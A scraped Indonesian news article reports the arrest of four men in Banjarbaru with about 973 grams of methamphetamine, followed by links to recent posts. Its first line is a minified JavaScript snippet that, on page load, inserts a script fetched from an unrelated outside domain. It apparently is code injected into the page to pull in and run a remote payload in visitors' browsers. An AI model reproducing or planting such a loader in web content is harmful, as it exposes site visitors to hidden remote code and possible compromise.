(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Miliki 10 Paket Sabu 973,52 Gram, Empat Pria Diringkus Polisi


KANALKALIMANTAN.COM, BANJARMASIN – Jajaran Subdit 3 Dit Resnarkoba Polda Kalsel meringkus empat pria yang diketahui memiliki 10 paket narkotika jenis sabu pada Jumat (14/2/2020) malam pukul 22:00 Wita.

Keempat pelaku yaitu AGR alias Zali (30), warga Bati-bati Tanah Laut, N alias Arul (34) warga Desa Awang Bangkal Timur, Karang Intan, Kabupaten Banjar, JH alias Adi (31) warga Kelurahan Keraton, Martapura dan M alias Imung (30), warga Bati-bati, Tanah Laut. Keempatnya diringkus di dua TKP berbeda yakni di jalan Mistar Cokrokusumo Cempaka Banjarbaru dan jalan Palam Raya RT 01 RW 01, Kelurahan Palam, Cempaka, Kota Banjarbaru.

“Berdasarkan informasi masyarakat petugas mendapat info bahwa ada suatu transaksi narkotika jenis sabu dilakukan di TKP I yakni di jalan Mistar Cokrokusumo Banjarbaru dari informasi tersebut petugas melakukan pemantauan, pada saat itu petugas melihat sebuah mobil dengan ciri-ciri yang sesuai dengan informasi yang diperoleh petugas,” kata Direktur Resnarkoba Polda Kalsel Kombes Wisnu Widarto melalui Kabag Binopsdal AKBP Sigit Kumoro, Selasa (17/2/2020). Kemudian petugas langsung mendekati dan melakukan pemeriksaan ditemukan 10 paket sabu di dalam plastik warna hitam yang dibawa oleh Arul dan Jali yang diletakan di jok tengah dalam mobil. Dari hasil pengembangan, dilakukan penangkapan terhadap Adi yang tidak jauh dari TKP I.

“Lalu petugas melakukan pengembangan kembali terhadap Imung di TKP II yaitu di jalan Palam Raya Banjarbaru,” tambah AKBP Sigit.

Adapun barang bukti yang disita oleh aparat Dit Resnarkoba Polda Kalsel yaitu 10  paket sabu berat kotor 973,52 gram (berat bersih 953,52 gram), satu buah kotak merk Kris warna putih kuning, satu lembar pastik warna hitam, empat handphone berbagai merk yang dimiliki oleh keempat tersangka, dan satu unit mobil Toyota Avanza.

“Keempat pelaku kita kenakan pasal 114 ayat (2) sub pasal 112 ayat (2) Jo pasal 132 ayat (1) UU RI No. 35 Tahun 2009 tentang Narkotika,” tandas AKBP Sigit. (kanalkalimantan.com/fikri)

 

 

Reporter : Fikri
Editor : Bie

 


Desy Arfianty

Recent Posts

Atraksi Ritual Laluhan Warnai Hari Jadi ke-218 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More

3 jam ago

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

5 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

6 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

10 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

11 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

11 jam ago

This website uses cookies.